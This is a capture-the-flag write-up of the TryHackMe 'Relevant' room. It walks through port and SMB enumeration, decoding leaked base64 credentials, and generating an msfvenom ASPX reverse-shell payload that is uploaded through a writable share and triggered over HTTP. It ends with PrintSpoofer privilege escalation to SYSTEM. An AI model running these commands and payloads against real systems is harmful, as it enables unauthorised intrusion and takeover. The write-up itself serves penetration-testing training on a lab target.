Tryhackme writeup: relevant
Relevant is a TryHackMe room designed to simulate a black box penetration test. As such, no information is provided about the target whatsoever, with the exception of its scope. As proof of exploitation, two flags must be secured:
While the target has several vulnerabilities that can be exploited, this write-up will only focus on one of them. Let's begin!
As always, a good point to start with active reconnaissance is to enumerate open ports and services on our target. Let's begin with
As a start, we will use
nmap with the
-sV flags on our target. As a reminder, these scans will do the following:
-sC: Equivalent to
--script=default. Will run default scripts on found ports/services.
-sV: Probe open ports to determine service/version info.
Let's also enumerate all ports with
-p- for good measure:
nmap -sC -sV -p- 10.10.126.101 Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-01 13:48 CET Nmap scan report for 10.10.126.101 Host is up (0.029s latency). Not shown: 65527 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: RELEVANT | NetBIOS_Domain_Name: RELEVANT | NetBIOS_Computer_Name: RELEVANT | DNS_Domain_Name: Relevant | DNS_Computer_Name: Relevant | Product_Version: 10.0.14393 |_ System_Time: 2021-03-01T12:51:53+00:00 | ssl-cert: Subject: commonName=Relevant | Not valid before: 2021-02-28T12:48:34 |_Not valid after: 2021-08-30T12:48:34 |_ssl-date: 2021-03-01T12:52:32+00:00; 0s from scanner time. 49663/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
And here are the host script results ran against these findings:
Host script results: |_clock-skew: mean: 1h36m01s, deviation: 3h34m41s, median: 0s | smb-os-discovery: | OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3) | Computer name: Relevant | NetBIOS computer name: RELEVANT\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2021-03-01T04:51:56-08:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-03-01T12:51:54 |_ start_date: 2021-03-01T12:48:50
We're getting a few interesting hints so far for exploitation, and also two HTTP services opened on port 80 and 49663. Let's check where this might lead us.
Websites / web services
Both of the HTTP services lead us to the Microsoft IIS server default page:
Dirsearch results suggest something fishy. Why would we have a directory traversal vulnerability for /etc/passwd on a windows server? Looks like we might encounter some red herrings on this target.
Target: http://10.10.32.152/ Output File: /home/ovelny/repos/dirsearch/reports/10.10.32.152/_21-03-01_18-17-13.txt [18:17:13] Starting: [18:17:14] 403 - 312B - /%2e%2e//google.com [18:17:18] 403 - 2KB - /Trace.axd [18:17:19] 403 - 312B - /\..\..\..\..\..\..\..\..\..\etc\passwd Task Completed
Port 49663 doesn't lead to interesting results either, as the few additional pages can't be exploited for anything meaningful:
Target: http://10.10.32.152:49663/ Output File: /home/ovelny/repos/dirsearch/reports/10.10.32.152/_21-03-01_18-19-38.txt [18:19:38] Starting: [18:19:39] 403 - 312B - /%2e%2e//google.com [18:19:54] 403 - 2KB - /Trace.axd [18:19:55] 403 - 312B - /\..\..\..\..\..\..\..\..\..\etc\passwd [18:20:07] 200 - 0B - /aspnet_client/ [18:20:07] 301 - 163B - /aspnet_client -> http://10.10.32.152:49663/aspnet_client/ Task Completed
As we saw port 445 being open, samba naturally comes next for enumeration.
At first, nmap scripts targeting SMB protocols seem to lead us to something juicy: perhaps this target is vulnerable to EternalBlue!
nmap -p 445 --script smb-protocols 10.10.32.152 Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-01 18:28 CET Nmap scan report for 10.10.32.152 Host is up (0.044s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-protocols: | dialects: | NT LM 0.12 (SMBv1) [dangerous, but default] | 2.02 | 2.10 | 3.00 | 3.02 |_ 3.11 Nmap done: 1 IP address (1 host up) scanned in 8.57 seconds
That would be too good to be true right? Well, that's because it is. SMB1 is disabled:
smbclient -N -L \\\\10.10.32.152 Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC nt4wrksv Disk SMB1 disabled -- no workgroup available
nt4wrksv share is quite unusual and seem to be worth exploring.
Relevant findings for exploitation
So far, our main lead is exploiting samba and maybe find some pieces of information that might lead us to a reverse shell.
Since SMB1 is disabled, EternalBlue is not even worth exploring for this target. Let's connect to
nt4wrksv with an anonymous connection:
smbclient //10.10.143.157/nt4wrksv Enter WORKGROUP\ovelny's password: Try "help" to get a list of possible commands. smb: \>
We quickly get our eyes on a
passwords.txt file, immediately accessible on this share with
[User Passwords - Encoded] Qm9iIC0gIVBAJCRXMHJEITEyMw== QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk
Base64 encoded... easy fix, let's decode those strings:
echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d Bob - !P@$$W0rD!123 echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d Bill - Juw4nnaM4n420696969!$$$
Connecting to SMB with those credentials works, but the permissions for those accounts are similar to anonymous connections. Disappointing. Bill and Bob shall not help us any further, as this seems to be another red herring.
smbmap -u Bob -p '!P@$$W0rD!123' -H 10.10.143.157 [+] IP: 10.10.143.157:445 Name: 10.10.143.157 Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC nt4wrksv READ, WRITE
After some additional attempts on SMB, I gave up to focus on web services yet again. Surely there has to be something more about them...
And there is! Turns out all of
nt4wrksv contents are directly accessible through HTTP on port 49663. We might be able to get a reverse shell exactly the same way.
Since those web services are all powered by IIS servers,
.aspx ought to be our best option as payload output:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.186.16 LPORT=4444 -f aspx -o hacky.aspx
We then upload
hacky.aspx to the nt4wrksv share with
get hacky.aspx in SMB and execute the payload through HTTP (http://TARGET-IP:49663/nt4wrksv/hacky.aspx), instantly granting us a shell to our target and access to the output of
Enumerating privileges on our current user instantly shows us how we will escalate our privileges to
SYSTEM, since having
SeImpersonatePrivilege enabled instantly makes this box vulnerable to PrintSpoofer64 (https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/):
PrintSpoofer64.exe was instantly doable on target's default location.
As always, making a quick and dirty HTTP server on our machine with
sudo python3 -m http.server 80 works wonder.
All that is left for us is to run the executable with
-i -c powershell flags enabled, so we can get an interactive powershell session as
Root.txt output is now in our hands.
This target was a nice demonstration of rabbit holes and red herrings that might be encountered during pentests. Getting clues that are either too obvious or too intricate is often a good sign that something dubious might be happening behind the scenes.